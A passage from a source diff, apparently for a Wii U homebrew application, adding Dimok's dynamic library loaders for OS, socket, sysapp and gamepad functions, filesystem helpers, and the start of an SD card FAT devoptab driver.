SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) +#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) + +#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) +#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + + +#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val + +#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func, funcPointer); + +#define OS_FIND_EXPORT_EX(handle, func, func_p) \ + funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func_p, funcPointer); + +#define OS_MUTEX_SIZE 44 + +/* Handle for coreinit */ +extern unsigned int coreinit_handle; +void InitOSFunctionPointers(void); +void InitAcquireOS(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); +extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Security functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSGetSecurityLevel)(void); +extern int (* OSForceFullRelaunch)(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +extern int (* OSResumeThread)(void *thread); +extern int (* OSSuspendThread)(void *thread); +extern int (* OSIsThreadTerminated)(void *thread); +extern int (* OSIsThreadSuspended)(void *thread); +extern int (* OSJoinThread)(void * thread, int * ret_val); +extern int (* OSSetThreadPriority)(void * thread, int priority); +extern void (* OSDetachThread)(void * thread); +extern void (* OSSleepTicks)(u64 ticks); +extern u64 (* OSGetTick)(void); +extern u64 (* OSGetTime)(void); +extern void (*OSTicksToCalendarTime)(u64 time, OSCalendarTime *calendarTime); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern void (* OSInitMutex)(void* mutex); +extern void (* OSLockMutex)(void* mutex); +extern void (* OSUnlockMutex)(void* mutex); +extern int (* OSTryLockMutex)(void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern u64 (* OSGetTitleID)(void); +extern void (* OSGetArgcArgv)(int* argc, char*** argv); +extern void (* __Exit)(void); +extern void (* OSFatal)(const char* msg); +extern void (* DCFlushRange)(const void *addr, u32 length); +extern void (* DCStoreRange)(const void *addr, u32 length); +extern void (* DCInvalidateRange)(const void *addr, u32 length); +extern void (* ICInvalidateRange)(const void *addr, u32 length); +extern void* (* OSEffectiveToPhysical)(const void*); +extern int (* __os_snprintf)(char* s, int n, const char * format, ...); +extern int * (* __gh_errno_ptr)(void); + +extern void (*OSScreenInit)(void); +extern void (*OSScreenShutdown)(void); +extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); +extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); +extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); +extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); +extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); +extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable); + +typedef unsigned char (*exception_callback)(void * interruptedContext); +extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); + +extern int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); +extern int (*IOS_Open)(char *path, unsigned int mode); +extern int (*IOS_Close)(int fd); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! MCP functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* MCP_Open)(void); +extern int (* MCP_Close)(int handle); +extern int (* MCP_GetOwnTitleInfo)(int handle, void * data); + +#ifdef __cplusplus +} +#endif + +#endif // __OS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/os_types.h b/src/dynamic_libs/os_types.h new file mode 100644 index 0000000..aaa18fe --- /dev/null +++ b/src/dynamic_libs/os_types.h @@ -0,0 +1,27 @@ +#ifndef _OS_TYPES_H_ +#define _OS_TYPES_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +typedef struct _OSCalendarTime { + int sec; + int min; + int hour; + int mday; + int mon; + int year; + int wday; + int yday; + int msec; + int usec; +} OSCalendarTime; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/dynamic_libs/socket_functions.c b/src/dynamic_libs/socket_functions.c new file mode 100644 index 0000000..de2c31f --- /dev/null +++ b/src/dynamic_libs/socket_functions.c @@ -0,0 +1,81 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "socket_functions.h" + +u32 hostIpAddress = 0; + +unsigned int nsysnet_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, socket_lib_init, void); +EXPORT_DECL(int, socket, int domain, int type, int protocol); +EXPORT_DECL(int, socketclose, int s); +EXPORT_DECL(int, connect, int s, void *addr, int addrlen); +EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); +EXPORT_DECL(int, listen, s32 s,u32 backlog); +EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); +EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); +EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); +EXPORT_DECL(int, recvfrom,int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); +EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); +EXPORT_DECL(char *, inet_ntoa, struct in_addr in); +EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); + +EXPORT_DECL(int, NSSLWrite, int connection, const void* buf, int len,int * written); +EXPORT_DECL(int, NSSLRead, int connection, const void* buf, int len,int * read); +EXPORT_DECL(int, NSSLCreateConnection, int context, const char* host, int hotlen,int options,int sock,int block); + +void InitAcquireSocket(void) +{ + OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); +} + +void InitSocketFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireSocket(); + + OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); + OS_FIND_EXPORT(nsysnet_handle, socket); + OS_FIND_EXPORT(nsysnet_handle, socketclose); + OS_FIND_EXPORT(nsysnet_handle, connect); + OS_FIND_EXPORT(nsysnet_handle, bind); + OS_FIND_EXPORT(nsysnet_handle, listen); + OS_FIND_EXPORT(nsysnet_handle, accept); + OS_FIND_EXPORT(nsysnet_handle, send); + OS_FIND_EXPORT(nsysnet_handle, recv); + OS_FIND_EXPORT(nsysnet_handle, recvfrom); + OS_FIND_EXPORT(nsysnet_handle, sendto); + OS_FIND_EXPORT(nsysnet_handle, setsockopt); + OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); + OS_FIND_EXPORT(nsysnet_handle, inet_aton); + + OS_FIND_EXPORT(nsysnet_handle, NSSLWrite); + OS_FIND_EXPORT(nsysnet_handle, NSSLRead); + OS_FIND_EXPORT(nsysnet_handle, NSSLCreateConnection); + + socket_lib_init(); +} diff --git a/src/dynamic_libs/socket_functions.h b/src/dynamic_libs/socket_functions.h new file mode 100644 index 0000000..1e4df1a --- /dev/null +++ b/src/dynamic_libs/socket_functions.h @@ -0,0 +1,108 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SOCKET_FUNCTIONS_H_ +#define __SOCKET_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int nsysnet_handle; + +#include + +#define INADDR_ANY 0 + +#define AF_INET 2 + +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 + +#define IPPROTO_IP 0 +#define IPPROTO_TCP 6 +#define IPPROTO_UDP 17 + +#define TCP_NODELAY 0x2004 + +#define SOL_SOCKET -1 +#define SO_REUSEADDR 0x0004 +#define SO_NONBLOCK 0x1016 +#define SO_MYADDR 0x1013 +#define SO_RCVTIMEO 0x1006 + +#define SOL_SOCKET -1 +#define MSG_DONTWAIT 32 + +#define htonl(x) x +#define htons(x) x +#define ntohl(x) x +#define ntohs(x) x + + +struct in_addr { + unsigned int s_addr; +}; +struct sockaddr_in { + short sin_family; + unsigned short sin_port; + struct in_addr sin_addr; + char sin_zero[8]; +}; + +struct sockaddr +{ + unsigned short sa_family; + char sa_data[14]; +}; + + +void InitSocketFunctionPointers(void); +void InitAcquireSocket(void); + +extern void (*socket_lib_init)(void); +extern int (*socket)(int domain, int type, int protocol); +extern int (*socketclose)(int s); +extern int (*connect)(int s, void *addr, int addrlen); +extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); +extern int (*listen)(s32 s,u32 backlog); +extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); +extern int (*send)(int s, const void *buffer, int size, int flags); +extern int (*recv)(int s, void *buffer, int size, int flags); +extern int (*recvfrom)(int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); + +extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); + +extern int (* NSSLWrite)(int connection, const void* buf, int len,int * written); +extern int (* NSSLRead)(int connection, const void* buf, int len,int * read); +extern int (* NSSLCreateConnection)(int context, const char* host, int hotlen,int options,int sock,int block); + +extern char * (*inet_ntoa)(struct in_addr in); +extern int (*inet_aton)(const char *cp, struct in_addr *inp); + +#ifdef __cplusplus +} +#endif + +#endif // __SOCKET_FUNCTIONS_H_ diff --git a/src/dynamic_libs/sys_functions.c b/src/dynamic_libs/sys_functions.c new file mode 100644 index 0000000..2cd44b8 --- /dev/null +++ b/src/dynamic_libs/sys_functions.c @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" + + unsigned int sysapp_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(int, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); +EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); +EXPORT_DECL(int, SYSLaunchMenu, void); +EXPORT_DECL(int, SYSCheckTitleExists, u64 titleId); +EXPORT_DECL(int, SYSLaunchTitle, u64 titleId); +EXPORT_DECL(int, SYSLaunchSettings, int unk); + +void InitAcquireSys(void) +{ + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); +} + +void InitSysFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + InitAcquireSys(); + + OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); + OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); + OS_FIND_EXPORT(sysapp_handle, SYSCheckTitleExists); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchTitle); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchSettings); +} diff --git a/src/dynamic_libs/sys_functions.h b/src/dynamic_libs/sys_functions.h new file mode 100644 index 0000000..64fc2c7 --- /dev/null +++ b/src/dynamic_libs/sys_functions.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SYS_FUNCTIONS_H_ +#define __SYS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int sysapp_handle; + +void InitSysFunctionPointers(void); +void InitAcquireSys(void); + +extern int(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); +extern int (* SYSRelaunchTitle)(int argc, char** argv); +extern int (* SYSLaunchMenu)(void); +extern int (* SYSCheckTitleExists)(u64 titleId); +extern int (* SYSLaunchTitle)(u64 titleId); +extern int (* SYSLaunchSettings)(int unk); + + +#ifdef __cplusplus +} +#endif + +#endif // __SYS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/vpad_functions.c b/src/dynamic_libs/vpad_functions.c new file mode 100644 index 0000000..201cf34 --- /dev/null +++ b/src/dynamic_libs/vpad_functions.c @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "vpad_functions.h" + +unsigned int vpad_handle __attribute__((section(".data"))) = 0; +unsigned int vpadbase_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, VPADInit, void); +EXPORT_DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); +EXPORT_DECL(int, VPADGetLcdMode, int padnum, int *lcdmode); +EXPORT_DECL(int, VPADSetLcdMode, int padnum, int lcdmode); +EXPORT_DECL(int, VPADBASEGetMotorOnRemainingCount, int padnum); +EXPORT_DECL(int, VPADBASESetMotorOnRemainingCount, int padnum, int counter); + +void InitAcquireVPad(void) +{ + OSDynLoad_Acquire("vpad.rpl", &vpad_handle); + OSDynLoad_Acquire("vpadbase.rpl", &vpadbase_handle); +} + +void InitVPadFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireVPad(); + + OS_FIND_EXPORT(vpad_handle, VPADInit); + OS_FIND_EXPORT(vpad_handle, VPADRead); + OS_FIND_EXPORT(vpad_handle, VPADGetLcdMode); + OS_FIND_EXPORT(vpad_handle, VPADSetLcdMode); + OS_FIND_EXPORT(vpadbase_handle, VPADBASEGetMotorOnRemainingCount); + OS_FIND_EXPORT(vpadbase_handle, VPADBASESetMotorOnRemainingCount); +} diff --git a/src/dynamic_libs/vpad_functions.h b/src/dynamic_libs/vpad_functions.h new file mode 100644 index 0000000..4fafda2 --- /dev/null +++ b/src/dynamic_libs/vpad_functions.h @@ -0,0 +1,114 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __VPAD_FUNCTIONS_H_ +#define __VPAD_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int vpad_handle; +extern unsigned int vpadbase_handle; + +#include + +#define VPAD_BUTTON_A 0x8000 +#define VPAD_BUTTON_B 0x4000 +#define VPAD_BUTTON_X 0x2000 +#define VPAD_BUTTON_Y 0x1000 +#define VPAD_BUTTON_LEFT 0x0800 +#define VPAD_BUTTON_RIGHT 0x0400 +#define VPAD_BUTTON_UP 0x0200 +#define VPAD_BUTTON_DOWN 0x0100 +#define VPAD_BUTTON_ZL 0x0080 +#define VPAD_BUTTON_ZR 0x0040 +#define VPAD_BUTTON_L 0x0020 +#define VPAD_BUTTON_R 0x0010 +#define VPAD_BUTTON_PLUS 0x0008 +#define VPAD_BUTTON_MINUS 0x0004 +#define VPAD_BUTTON_HOME 0x0002 +#define VPAD_BUTTON_SYNC 0x0001 +#define VPAD_BUTTON_STICK_R 0x00020000 +#define VPAD_BUTTON_STICK_L 0x00040000 +#define VPAD_BUTTON_TV 0x00010000 + +#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 +#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 +#define VPAD_STICK_R_EMULATION_UP 0x01000000 +#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 + +#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 +#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 +#define VPAD_STICK_L_EMULATION_UP 0x10000000 +#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 + +//! Own definitions +#define VPAD_BUTTON_TOUCH 0x00080000 +#define VPAD_MASK_EMULATED_STICKS 0x7F800000 +#define VPAD_MASK_BUTTONS ~VPAD_MASK_EMULATED_STICKS + +typedef struct +{ + f32 x,y; +} Vec2D; + +typedef struct +{ + u16 x, y; /* Touch coordinates */ + u16 touched; /* 1 = Touched, 0 = Not touched */ + u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ +} VPADTPData; + +typedef struct +{ + u32 btns_h; /* Held buttons */ + u32 btns_d; /* Buttons that are pressed at that instant */ + u32 btns_r; /* Released buttons */ + Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ + char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ + VPADTPData tpdata; /* Normal touchscreen data */ + VPADTPData tpdata1; /* Modified touchscreen data 1 */ + VPADTPData tpdata2; /* Modified touchscreen data 2 */ + char unknown6a[0xa0 - 0x6a]; + uint8_t volume; + uint8_t battery; /* 0 to 6 */ + uint8_t unk_volume; /* One less than volume */ + char unknowna4[0xac - 0xa4]; +} VPADData; + +void InitVPadFunctionPointers(void); +void InitAcquireVPad(void); + +extern int (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); +extern int (* VPADGetLcdMode)(int padnum, int *lcdmode); +extern int (* VPADSetLcdMode)(int padnum, int lcdmode); +extern void (* VPADInit)(void); +extern int (* VPADBASEGetMotorOnRemainingCount)(int lcdmode); +extern int (* VPADBASESetMotorOnRemainingCount)(int lcdmode,int counter); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/entry.c b/src/entry.c new file mode 100644 index 0000000..759cee0 --- /dev/null +++ b/src/entry.c @@ -0,0 +1,14 @@ +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "common/common.h" +#include "utils/utils.h" +#include "main.h" + +int __entry_menu(int argc, char **argv) +{ + //! ******************************************************************* + //! * Jump to our application * + //! ******************************************************************* + return Menu_Main(); +} diff --git a/src/fs/fs_utils.c b/src/fs/fs_utils.c new file mode 100644 index 0000000..efa2e55 --- /dev/null +++ b/src/fs/fs_utils.c @@ -0,0 +1,182 @@ +#include +#include +#include +#include +#include +#include "common/fs_defs.h" +#include "dynamic_libs/fs_functions.h" + + +int MountFS(void *pClient, void *pCmd, char **mount_path) +{ + int result = -1; + + void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); + if(!mountSrc) + return -3; + + char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE); + if(!mountPath) { + free(mountSrc); + return -4; + } + + memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); + memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); + + // Mount sdcard + if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) + { + result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); + if((result == 0) && mount_path) { + *mount_path = (char*)malloc(strlen(mountPath) + 1); + if(*mount_path) + strcpy(*mount_path, mountPath); + } + } + + free(mountPath); + free(mountSrc); + return result; +} + +int UmountFS(void *pClient, void *pCmd, const char *mountPath) +{ + int result = -1; + result = FSUnmount(pClient, pCmd, mountPath, -1); + + return result; +} + +int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size) +{ + //! always initialze input + *inbuffer = NULL; + if(size) + *size = 0; + + int iFd = open(filepath, O_RDONLY); + if (iFd < 0) + return -1; + + u32 filesize = lseek(iFd, 0, SEEK_END); + lseek(iFd, 0, SEEK_SET); + + u8 *buffer = (u8 *) malloc(filesize); + if (buffer == NULL) + { + close(iFd); + return -2; + } + + u32 blocksize = 0x4000; + u32 done = 0; + int readBytes = 0; + + while(done < filesize) + { + if(done + blocksize > filesize) { + blocksize = filesize - done; + } + readBytes = read(iFd, buffer + done, blocksize); + if(readBytes <= 0) + break; + done += readBytes; + } + + close(iFd); + + if (done != filesize) + { + free(buffer); + return -3; + } + + *inbuffer = buffer; + + //! sign is optional input + if(size) + *size = filesize; + + return filesize; +} + +int CheckFile(const char * filepath) +{ + if(!filepath) + return 0; + + struct stat filestat; + + char dirnoslash[strlen(filepath)+2]; + snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); + + while(dirnoslash[strlen(dirnoslash)-1] == '/') + dirnoslash[strlen(dirnoslash)-1] = '\0'; + + char * notRoot = strrchr(dirnoslash, '/'); + if(!notRoot) + { + strcat(dirnoslash, "/"); + } + + if (stat(dirnoslash, &filestat) == 0) + return 1; + + return 0; +} + +int CreateSubfolder(const char * fullpath) +{ + if(!fullpath) + return 0; + + int result = 0; + + char dirnoslash[strlen(fullpath)+1]; + strcpy(dirnoslash, fullpath); + + int pos = strlen(dirnoslash)-1; + while(dirnoslash[pos] == '/') + { + dirnoslash[pos] = '\0'; + pos--; + } + + if(CheckFile(dirnoslash)) + { + return 1; + } + else + { + char parentpath[strlen(dirnoslash)+2]; + strcpy(parentpath, dirnoslash); + char * ptr = strrchr(parentpath, '/'); + + if(!ptr) + { + //!Device root directory (must be with '/') + strcat(parentpath, "/"); + struct stat filestat; + if (stat(parentpath, &filestat) == 0) + return 1; + + return 0; + } + + ptr++; + ptr[0] = '\0'; + + result = CreateSubfolder(parentpath); + } + + if(!result) + return 0; + + if (mkdir(dirnoslash, 0777) == -1) + { + return 0; + } + + return 1; +} diff --git a/src/fs/fs_utils.h b/src/fs/fs_utils.h new file mode 100644 index 0000000..7022695 --- /dev/null +++ b/src/fs/fs_utils.h @@ -0,0 +1,23 @@ +#ifndef __FS_UTILS_H_ +#define __FS_UTILS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +int MountFS(void *pClient, void *pCmd, char **mount_path); +int UmountFS(void *pClient, void *pCmd, const char *mountPath); + +int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size); + +//! todo: C++ class +int CreateSubfolder(const char * fullpath); +int CheckFile(const char * filepath); + +#ifdef __cplusplus +} +#endif + +#endif // __FS_UTILS_H_ diff --git a/src/fs/sd_fat_devoptab.c b/src/fs/sd_fat_devoptab.c new file mode 100644 index 0000000..f5b278b --- /dev/null +++ b/src/fs/sd_fat_devoptab.c @@ -0,0 +1,1019 @@ +/*************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/fs_functions.h" +#include "dynamic_libs/os_functions.h" +#include "fs_utils.h" + +#define FS_ALIGNMENT 0x40 +#define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1)) + +typedef struct _sd_fat_private_t { + char *mount_path; + void *pClient; + void *pCmd; + void *pMutex; +} sd_fat_private_t; + +typedef struct _sd_fat_file_state_t { + sd_fat_private_t *dev; + int fd; /* File descriptor */ + int flags; /* Opening flags */ + bool read; /* True if allowed to read from file */ + bool write; /* True if allowed to write to file */ + bool append; /* True if allowed to append to file */ + u64 pos; /* Current position within the file (in bytes) */ + u64 len; /* Total length of the file (in bytes) */ + struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */ + struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */ +} sd_fat_file_state_t; + +typedef struct _sd_fat_dir_entry_t { + sd_fat_private_t *dev; + int dirHandle; +} sd_fat_dir_entry_t; + +static sd_fat_private_t *sd_fat_get_device_data(const char *path) +{ + const devoptab_t *devoptab = NULL; + char name[128] = {0}; + int i; + + // Get the device name from the path + strncpy(name, path, 127); + strtok(name, ":/"); + + // Search the devoptab table for the specified device name + // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab + // which ignores names with suffixes and causes names + // like "ntfs" and "ntfs1" to be seen as equals + for (i = 3; i < STD_MAX; i++) { + devoptab = devoptab_list[i]; + if (devoptab && devoptab->name) { + if (strcmp(name, devoptab->name) == 0) { + return (sd_fat_private_t *)devoptab->deviceData; + } + } + } + + return NULL; +} + +static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev) +{ + // Sanity check + if (!path) + return NULL; + + // Move the path pointer to the start of the actual path + if (strchr(path, ':') != NULL) { + path = strchr(path, ':') + 1; + } + + int mount_len = strlen(dev->mount_path); + + char *new_name = (char*)malloc(mount_len + strlen(path) + 1); + if(new_name) { + strcpy(new_name, dev->mount_path); + strcpy(new_name + mount_len, path); + return new_name; + } + return new_name; +} + +static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct; + + file->dev = dev; + // Determine which mode the file is opened for + file->flags = flags; + + const char *mode_str; + + if ((flags & 0x03) == O_RDONLY) { + file->read = true; + file->write = false; + file->append = false; + mode_str = "r"; + } else if ((flags & 0x03) == O_WRONLY) { + file->read = false; + file->write = true; + file->append = (flags & O_APPEND); + mode_str = file->append ? "a" : "w"; + } else if ((flags & 0x03) == O_RDWR) { + file->read = true; + file->write = true; + file->append = (flags & O_APPEND); + mode_str = file->append ? "a+" : "r+"; + } else { + r->_errno = EACCES; + return -1; + } + + int fd = -1; + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!path) { + r->_errno = ENOMEM; + 